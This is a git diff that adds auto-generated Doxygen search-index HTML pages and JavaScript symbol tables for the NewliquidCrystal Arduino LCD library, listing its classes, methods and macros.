+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_5.js b/libraries/NewliquidCrystal/utility/docs/html/search/all_5.js new file mode 100644 index 0000000..3f5c1ed --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_5.js @@ -0,0 +1,4 @@ +var searchData= +[ + ['i2cio',['I2CIO',['../class_i2_c_i_o.html',1,'I2CIO'],['../class_i2_c_i_o.html#a32eb7832075ad6011d67874405a0d0a6',1,'I2CIO::I2CIO()']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_5f.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_5f.html new file mode 100644 index 0000000..f4de1dd --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_5f.html @@ -0,0 +1,62 @@ + + + + + + + +
+
Loading...
+
+
+ _cols + LCD +
+
+
+
+ _displaycontrol + LCD +
+
+
+
+ _displayfunction + LCD +
+
+
+
+ _displaymode + LCD +
+
+
+
+ _I2CIO_VERSION + I2CIO.h +
+
+
+
+ _numlines + LCD +
+
+
+
+ _polarity + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_6.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_6.html new file mode 100644 index 0000000..821c374 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_6.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_6.js b/libraries/NewliquidCrystal/utility/docs/html/search/all_6.js new file mode 100644 index 0000000..9ff393c --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_6.js @@ -0,0 +1,13 @@ +var searchData= +[ + ['lcd',['LCD',['../class_l_c_d.html',1,'LCD'],['../class_l_c_d.html#a00bb2db1390721abc7b24ac4b8c276c8',1,'LCD::LCD()']]], + ['lefttoright',['leftToRight',['../class_l_c_d.html#a238e9f6476dc7df64af04eb6c87f6ac7',1,'LCD']]], + ['liquidcrystal',['LiquidCrystal',['../class_liquid_crystal.html',1,'LiquidCrystal'],['../class_liquid_crystal.html#a49d2bd8d26031a1c83bcbd73978a1686',1,'LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)'],['../class_liquid_crystal.html#a0a0a8dfa7a2e775a031fd65f5c6366ec',1,'LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3)']]], + ['liquidcrystal_5fi2c',['LiquidCrystal_I2C',['../class_liquid_crystal___i2_c.html',1,'LiquidCrystal_I2C'],['../class_liquid_crystal___i2_c.html#aac537d195557e0b8afac1a71441a484c',1,'LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr)'],['../class_liquid_crystal___i2_c.html#a517f8847ebf09f0eacfb9c7232975fce',1,'LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs)'],['../class_liquid_crystal___i2_c.html#a7d9b54d3a91fa0e0e50db27cda6b4654',1,'LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)']]], + ['liquidcrystal_5fi2c_5fbyvac',['LiquidCrystal_I2C_ByVac',['../class_liquid_crystal___i2_c___by_vac.html',1,'LiquidCrystal_I2C_ByVac'],['../class_liquid_crystal___i2_c___by_vac.html#a29c027cc8bfa78bb8d9ff3124fe83a31',1,'LiquidCrystal_I2C_ByVac::LiquidCrystal_I2C_ByVac()']]], + ['liquidcrystal_5fsi2c',['LiquidCrystal_SI2C',['../class_liquid_crystal___s_i2_c.html',1,'LiquidCrystal_SI2C'],['../class_liquid_crystal___s_i2_c.html#ac77c2e6cca626aeae8838769fb70f7be',1,'LiquidCrystal_SI2C::LiquidCrystal_SI2C(uint8_t lcd_Addr)'],['../class_liquid_crystal___s_i2_c.html#aa1a837dec506f9c459605c7bd4b7fe8c',1,'LiquidCrystal_SI2C::LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs)'],['../class_liquid_crystal___s_i2_c.html#ac0e7a4841e03a4e4916c66ff48ea53e9',1,'LiquidCrystal_SI2C::LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)']]], + ['liquidcrystal_5fsr',['LiquidCrystal_SR',['../class_liquid_crystal___s_r.html',1,'LiquidCrystal_SR'],['../class_liquid_crystal___s_r.html#ac3fe0b48f8d4c1c941d82d1333495cfc',1,'LiquidCrystal_SR::LiquidCrystal_SR()']]], + ['liquidcrystal_5fsr1w',['LiquidCrystal_SR1W',['../class_liquid_crystal___s_r1_w.html',1,'LiquidCrystal_SR1W'],['../class_liquid_crystal___s_r1_w.html#a33bff2c123d3dc42a829b0f8034912c9',1,'LiquidCrystal_SR1W::LiquidCrystal_SR1W()']]], + ['liquidcrystal_5fsr2w',['LiquidCrystal_SR2W',['../class_liquid_crystal___s_r2_w.html',1,'LiquidCrystal_SR2W'],['../class_liquid_crystal___s_r2_w.html#af307fdf5c8feb757e965074dcdeb1dd3',1,'LiquidCrystal_SR2W::LiquidCrystal_SR2W()']]], + ['liquidcrystal_5fsr3w',['LiquidCrystal_SR3W',['../class_liquid_crystal___s_r3_w.html',1,'LiquidCrystal_SR3W'],['../class_liquid_crystal___s_r3_w.html#ae1396bcd5e9c5b7ed13182c166de776b',1,'LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe)'],['../class_liquid_crystal___s_r3_w.html#a4fab8ff2f21bba3efd133cd8c87fffc0',1,'LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_61.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_61.html new file mode 100644 index 0000000..77a85bb --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_61.html @@ -0,0 +1,38 @@ + + + + + + + +
+
Loading...
+
+
+ ATOMIC_BLOCK + FastIO.h +
+
+
+
+ ATOMIC_RESTORESTATE + FastIO.h +
+
+
+
+ autoscroll + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_62.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_62.html new file mode 100644 index 0000000..d930b2a --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_62.html @@ -0,0 +1,55 @@ + + + + + + + +
+
Loading...
+
+
+ backlight + LCD +
+
+
+
+ BACKLIGHT_OFF + LCD.h +
+
+
+
+ BACKLIGHT_ON + LCD.h +
+
+ + +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_63.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_63.html new file mode 100644 index 0000000..fd37373 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_63.html @@ -0,0 +1,44 @@ + + + + + + + +
+
Loading...
+
+
+ clear + LCD +
+
+
+
+ COMMAND + LCD.h +
+
+
+
+ createChar + LCD +
+
+
+
+ cursor + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_64.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_64.html new file mode 100644 index 0000000..e66c526 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_64.html @@ -0,0 +1,80 @@ + + + + + + + +
+
Loading...
+ + + + +
+
+ DATA + LCD.h +
+
+
+
+ digitalRead + I2CIO +
+
+
+
+ digitalWrite + I2CIO +
+
+
+
+ display + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_65.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_65.html new file mode 100644 index 0000000..7ac4e79 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_65.html @@ -0,0 +1,35 @@ + + + + + + + +
+
Loading...
+ +
+
+ EXEC_TIME + LiquidCrystal.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_66.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_66.html new file mode 100644 index 0000000..f615e95 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_66.html @@ -0,0 +1,156 @@ + + + + + + + +
+
Loading...
+
+ +
+
+
+ FastIO.h +
+
+
+
+ fio_bit + FastIO.h +
+
+ + +
+
+ fio_digitalWrite_HIGH + FastIO.h +
+
+
+
+ fio_digitalWrite_LOW + FastIO.h +
+
+
+
+ fio_digitalWrite_SWITCH + FastIO.h +
+
+
+
+ fio_digitalWrite_SWITCHTO + FastIO.h +
+
+
+
+ FIO_FALLBACK + FastIO.h +
+
+ + + +
+
+ fio_register + FastIO.h +
+
+ + + +
+
+ FOUR_BITS + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_68.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_68.html new file mode 100644 index 0000000..33a52d6 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_68.html @@ -0,0 +1,38 @@ + + + + + + + +
+
Loading...
+
+
+ home + LCD +
+
+
+
+ HOME_CLEAR_EXEC + LCD.h +
+
+
+
+ HW_CLEAR + LiquidCrystal_SR1W.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_69.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_69.html new file mode 100644 index 0000000..2bbba17 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_69.html @@ -0,0 +1,39 @@ + + + + + + + +
+
Loading...
+
+
+ I2CIO + +
+
+
+
+ I2CIO.cpp +
+
+
+
+ I2CIO.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_6c.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_6c.html new file mode 100644 index 0000000..dd5ad3f --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_6c.html @@ -0,0 +1,392 @@ + + + + + + + +
+
Loading...
+
+
+ LCD +
+ LCD + LCD::LCD() +
+
+
+
+
+ LCD.cpp +
+
+
+
+ LCD.h +
+
+
+
+ LCD_1LINE + LCD.h +
+
+
+
+ LCD_2LINE + LCD.h +
+
+
+
+ LCD_4BIT + LiquidCrystal.cpp +
+
+
+
+ LCD_4BITMODE + LCD.h +
+
+
+
+ LCD_5x10DOTS + LCD.h +
+
+
+
+ LCD_5x8DOTS + LCD.h +
+
+
+
+ LCD_8BIT + LiquidCrystal.cpp +
+
+
+
+ LCD_8BITMODE + LCD.h +
+
+ +
+
+ LCD_BLINKOFF + LCD.h +
+
+
+
+ LCD_BLINKON + LCD.h +
+
+
+
+ LCD_CLEARDISPLAY + LCD.h +
+
+
+
+ LCD_CURSORMOVE + LCD.h +
+
+
+
+ LCD_CURSOROFF + LCD.h +
+
+
+
+ LCD_CURSORON + LCD.h +
+
+
+
+ LCD_CURSORSHIFT + LCD.h +
+
+
+
+ LCD_DISPLAYCONTROL + LCD.h +
+
+
+
+ LCD_DISPLAYMOVE + LCD.h +
+
+
+
+ LCD_DISPLAYOFF + LCD.h +
+
+
+
+ LCD_DISPLAYON + LCD.h +
+
+
+
+ LCD_ENTRYLEFT + LCD.h +
+
+
+
+ LCD_ENTRYMODESET + LCD.h +
+
+
+
+ LCD_ENTRYRIGHT + LCD.h +
+
+
+ +
+
+ +
+
+
+ LCD_FUNCTIONSET + LCD.h +
+
+
+
+ LCD_MOVELEFT + LCD.h +
+
+
+
+ LCD_MOVERIGHT + LCD.h +
+
+ +
+
+ LCD_RETURNHOME + LCD.h +
+
+
+
+ LCD_SETCGRAMADDR + LCD.h +
+
+
+
+ LCD_SETDDRAMADDR + LCD.h +
+
+
+
+ leftToRight + LCD +
+
+ + + + + + + + + + + + + + + + + + + + + +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_6d.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_6d.html new file mode 100644 index 0000000..6a0ea3f --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_6d.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
+
+
+ moveCursorLeft + LCD +
+
+
+
+ moveCursorRight + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_6e.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_6e.html new file mode 100644 index 0000000..f3e1f8b --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_6e.html @@ -0,0 +1,56 @@ + + + + + + + +
+
Loading...
+
+
+ NEGATIVE + LCD.h +
+
+
+
+ noAutoscroll + LCD +
+
+
+
+ noBacklight + LCD +
+
+ +
+
+ noCursor + LCD +
+
+
+
+ noDisplay + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_6f.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_6f.html new file mode 100644 index 0000000..e5e659c --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_6f.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
+
+
+ off + LCD +
+
+
+
+ on + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_7.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_7.html new file mode 100644 index 0000000..38c6c00 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_7.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_7.js b/libraries/NewliquidCrystal/utility/docs/html/search/all_7.js new file mode 100644 index 0000000..0ac9232 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_7.js @@ -0,0 +1,5 @@ +var searchData= +[ + ['movecursorleft',['moveCursorLeft',['../class_l_c_d.html#aad2abc99d1aca5403873579d9d72c2d4',1,'LCD']]], + ['movecursorright',['moveCursorRight',['../class_l_c_d.html#a09eec0c712e54b066f5894635c1fe75c',1,'LCD']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_70.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_70.html new file mode 100644 index 0000000..29b653f --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_70.html @@ -0,0 +1,38 @@ + + + + + + + +
+
Loading...
+
+
+ pinMode + I2CIO +
+
+
+
+ portMode + I2CIO +
+
+
+
+ POSITIVE + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_72.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_72.html new file mode 100644 index 0000000..d2d6cc6 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_72.html @@ -0,0 +1,50 @@ + + + + + + + +
+
Loading...
+
+
+ read + I2CIO +
+
+
+
+ rightToLeft + LCD +
+
+ + +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_73.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_73.html new file mode 100644 index 0000000..2c155a9 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_73.html @@ -0,0 +1,205 @@ + + + + + + + +
+
Loading...
+
+
+ scrollDisplayLeft + LCD +
+
+
+
+ scrollDisplayRight + LCD +
+
+ + + +
+
+ setContrast + LiquidCrystal_I2C_ByVac +
+
+
+
+ setCursor + LCD +
+
+
+
+ SKIP + FastIO.h +
+
+
+
+ SR1W_ATOMIC_WRITE_HIGH + LiquidCrystal_SR1W.h +
+
+
+
+ SR1W_ATOMIC_WRITE_LOW + LiquidCrystal_SR1W.h +
+
+
+
+ SR1W_BL_MASK + LiquidCrystal_SR1W.h +
+
+
+
+ SR1W_D4_MASK + LiquidCrystal_SR1W.h +
+
+
+
+ SR1W_D5_MASK + LiquidCrystal_SR1W.h +
+
+
+
+ SR1W_D6_MASK + LiquidCrystal_SR1W.h +
+
+
+
+ SR1W_D7_MASK + LiquidCrystal_SR1W.h +
+
+
+
+ SR1W_DELAY + LiquidCrystal_SR1W.h +
+
+
+
+ SR1W_DELAY_US + LiquidCrystal_SR1W.h +
+
+
+
+ SR1W_EN_MASK + LiquidCrystal_SR1W.h +
+
+
+
+ SR1W_RS_MASK + LiquidCrystal_SR1W.h +
+
+
+
+ SR1W_UNUSED_MASK + LiquidCrystal_SR1W.h +
+
+
+
+ SR2W_BL_MASK + LiquidCrystal_SR2W.h +
+
+
+
+ SR2W_DATA_MASK + LiquidCrystal_SR2W.h +
+
+
+
+ SR2W_EN_MASK + LiquidCrystal_SR2W.h +
+
+
+
+ SR2W_RS_MASK + LiquidCrystal_SR2W.h +
+
+
+
+ SR_EN_BIT + LiquidCrystal_SR.h +
+
+
+
+ SR_RS_BIT + LiquidCrystal_SR.h +
+
+
+
+ SW_CLEAR + LiquidCrystal_SR1W.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_74.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_74.html new file mode 100644 index 0000000..99245c7 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_74.html @@ -0,0 +1,38 @@ + + + + + + + +
+
Loading...
+
+
+ t_backlighPol + LCD.h +
+
+
+
+ t_sr1w_circuitType + LiquidCrystal_SR1W.h +
+
+
+
+ TWO_WIRE + LiquidCrystal_SR.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_77.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_77.html new file mode 100644 index 0000000..d81a974 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_77.html @@ -0,0 +1,35 @@ + + + + + + + +
+
Loading...
+
+
+ waitUsec + LCD.h +
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_8.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_8.html new file mode 100644 index 0000000..2a22cd5 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_8.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_8.js b/libraries/NewliquidCrystal/utility/docs/html/search/all_8.js new file mode 100644 index 0000000..646b05c --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_8.js @@ -0,0 +1,8 @@ +var searchData= +[ + ['noautoscroll',['noAutoscroll',['../class_l_c_d.html#a96035dde40efbf73390e00b5beb00231',1,'LCD']]], + ['nobacklight',['noBacklight',['../class_l_c_d.html#a2a331b4e142734411b2f1cfaffe7a488',1,'LCD']]], + ['noblink',['noBlink',['../class_l_c_d.html#a3b755c4b397b5985752be8c30ee1a9b5',1,'LCD']]], + ['nocursor',['noCursor',['../class_l_c_d.html#aec8ffaa1e69c7a6e13ac0cfbc29151d9',1,'LCD']]], + ['nodisplay',['noDisplay',['../class_l_c_d.html#af3974da6d988ba2d21c25135ada12108',1,'LCD']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_9.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_9.html new file mode 100644 index 0000000..bd9b05c --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_9.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_9.js b/libraries/NewliquidCrystal/utility/docs/html/search/all_9.js new file mode 100644 index 0000000..c997721 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_9.js @@ -0,0 +1,5 @@ +var searchData= +[ + ['off',['off',['../class_l_c_d.html#a191639be183be1476c9bfe6d455d23b2',1,'LCD']]], + ['on',['on',['../class_l_c_d.html#a718da3a638deb59bd1c7a5222a52d98a',1,'LCD']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_a.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_a.html new file mode 100644 index 0000000..4a25af1 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_a.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_a.js b/libraries/NewliquidCrystal/utility/docs/html/search/all_a.js new file mode 100644 index 0000000..5ecfc11 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_a.js @@ -0,0 +1,5 @@ +var searchData= +[ + ['pinmode',['pinMode',['../class_i2_c_i_o.html#a53b94274eb6bb68564cf5243323db887',1,'I2CIO::pinMode()'],['../class_s_i2_c_i_o.html#a4ef4fb77ddd3d248be5e0898e33430a3',1,'SI2CIO::pinMode()']]], + ['portmode',['portMode',['../class_i2_c_i_o.html#a0341888753bc54c4384f5593a870fb34',1,'I2CIO::portMode()'],['../class_s_i2_c_i_o.html#a8e78ee0ee2d1bb12136b5c5a3487512b',1,'SI2CIO::portMode()']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_b.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_b.html new file mode 100644 index 0000000..a92de48 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_b.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_b.js b/libraries/NewliquidCrystal/utility/docs/html/search/all_b.js new file mode 100644 index 0000000..4f68702 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_b.js @@ -0,0 +1,6 @@ +var searchData= +[ + ['readme',['README',['../md___users_fmalpartida__documents_development_mercurial_repos__s_w__newliquid_crystal__r_e_a_d_m_e.html',1,'']]], + ['read',['read',['../class_i2_c_i_o.html#a7a3db7bfc15ede0ae9e8c8bd44290ef7',1,'I2CIO::read()'],['../class_s_i2_c_i_o.html#a32cb72361397c1051ee650dbb2190060',1,'SI2CIO::read()']]], + ['righttoleft',['rightToLeft',['../class_l_c_d.html#ac014830eadc26bfd86308ea8734f4428',1,'LCD']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_c.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_c.html new file mode 100644 index 0000000..20cdfbc --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_c.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_c.js b/libraries/NewliquidCrystal/utility/docs/html/search/all_c.js new file mode 100644 index 0000000..aa14008 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_c.js @@ -0,0 +1,11 @@ +var searchData= +[ + ['scrolldisplayleft',['scrollDisplayLeft',['../class_l_c_d.html#a6f3a503055b3b8dcf0f61b2633c584f7',1,'LCD']]], + ['scrolldisplayright',['scrollDisplayRight',['../class_l_c_d.html#abfc44b294772f09020bfa32af8a79571',1,'LCD']]], + ['send',['send',['../class_liquid_crystal.html#a56142f8b3753bedd133e4139e5eb5089',1,'LiquidCrystal::send()'],['../class_liquid_crystal___i2_c.html#a8bf1fab7efe13e8b17b96c42d1f810b4',1,'LiquidCrystal_I2C::send()'],['../class_liquid_crystal___i2_c___by_vac.html#a9e64cc68ec5df1a0fa421a242239b1b1',1,'LiquidCrystal_I2C_ByVac::send()'],['../class_liquid_crystal___s_i2_c.html#aa882cbbbb14985cab8432686723beaf9',1,'LiquidCrystal_SI2C::send()'],['../class_liquid_crystal___s_r.html#a03821351a32db07cb7e42c8c11ce8d47',1,'LiquidCrystal_SR::send()'],['../class_liquid_crystal___s_r1_w.html#a7fc0b03977907b4d526a6b9e49a331b1',1,'LiquidCrystal_SR1W::send()'],['../class_liquid_crystal___s_r2_w.html#a65dc6f261c319be8e56f3c1f6a5c877d',1,'LiquidCrystal_SR2W::send()'],['../class_liquid_crystal___s_r3_w.html#ade34af5b7fe795482f1848c2176d6e56',1,'LiquidCrystal_SR3W::send()']]], + ['setbacklight',['setBacklight',['../class_l_c_d.html#a3305570d7b37eb93f2cf840263c15828',1,'LCD::setBacklight()'],['../class_liquid_crystal.html#aa2b898366e1c656ac313b9007c98cebd',1,'LiquidCrystal::setBacklight()'],['../class_liquid_crystal___i2_c.html#af11b8fa0082616e2b6e6e4238589d8a8',1,'LiquidCrystal_I2C::setBacklight()'],['../class_liquid_crystal___i2_c___by_vac.html#a9b16e6ce123e2ebe3a3e33b2306e66a7',1,'LiquidCrystal_I2C_ByVac::setBacklight()'],['../class_liquid_crystal___s_i2_c.html#afa64775ef5faa3646385506b4adf7f2d',1,'LiquidCrystal_SI2C::setBacklight()'],['../class_liquid_crystal___s_r.html#ad9f3e3f36257984c23fb508973e14535',1,'LiquidCrystal_SR::setBacklight()'],['../class_liquid_crystal___s_r1_w.html#a82d844569eb258559afb40ab354eb0a5',1,'LiquidCrystal_SR1W::setBacklight()'],['../class_liquid_crystal___s_r2_w.html#a2158db27287c1564a03e7a1472beb3b6',1,'LiquidCrystal_SR2W::setBacklight()'],['../class_liquid_crystal___s_r3_w.html#a6d0fc7907ef9fd87c408a21b9bd49295',1,'LiquidCrystal_SR3W::setBacklight()']]], + ['setbacklightpin',['setBacklightPin',['../class_l_c_d.html#a53f4ee9b39d9ab3d7ae4d9f8dedca3bc',1,'LCD::setBacklightPin()'],['../class_liquid_crystal.html#a63740dc1198d8169a39d9c6daff0efc9',1,'LiquidCrystal::setBacklightPin()'],['../class_liquid_crystal___i2_c.html#a2eaf86f62d1f169b3763b03fbf88f70b',1,'LiquidCrystal_I2C::setBacklightPin()'],['../class_liquid_crystal___s_i2_c.html#a80adc9d27907d9145ad208eba4ae2ffa',1,'LiquidCrystal_SI2C::setBacklightPin()'],['../class_liquid_crystal___s_r.html#a5bfc0dcc1f042bcb59992493a3a7231d',1,'LiquidCrystal_SR::setBacklightPin()'],['../class_liquid_crystal___s_r3_w.html#a894d0ea8ea61c1d15acd8a26d417e477',1,'LiquidCrystal_SR3W::setBacklightPin()']]], + ['setcontrast',['setContrast',['../class_liquid_crystal___i2_c___by_vac.html#a53c79a20e8d21d2c3bc9e6d0dfc79cb4',1,'LiquidCrystal_I2C_ByVac']]], + ['setcursor',['setCursor',['../class_l_c_d.html#a48220450fd152b25994eb7d0ba340e8d',1,'LCD']]], + ['si2cio',['SI2CIO',['../class_s_i2_c_i_o.html',1,'SI2CIO'],['../class_s_i2_c_i_o.html#ae27c1861e885c6ade3f3923658957edf',1,'SI2CIO::SI2CIO()']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_d.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_d.html new file mode 100644 index 0000000..00b28ed --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_d.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_d.js b/libraries/NewliquidCrystal/utility/docs/html/search/all_d.js new file mode 100644 index 0000000..c6563f1 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_d.js @@ -0,0 +1,4 @@ +var searchData= +[ + ['write',['write',['../class_i2_c_i_o.html#ae2063569c927d0008e2593d14504fdcd',1,'I2CIO::write()'],['../class_l_c_d.html#a2d89cc2e62f72afb5f15a7fd812900e3',1,'LCD::write()'],['../class_s_i2_c_i_o.html#a47c3ac3198cddcf9e6da1ccacd9db5d9',1,'SI2CIO::write()']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/classes_0.html b/libraries/NewliquidCrystal/utility/docs/html/search/classes_0.html new file mode 100644 index 0000000..523591f --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/classes_0.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
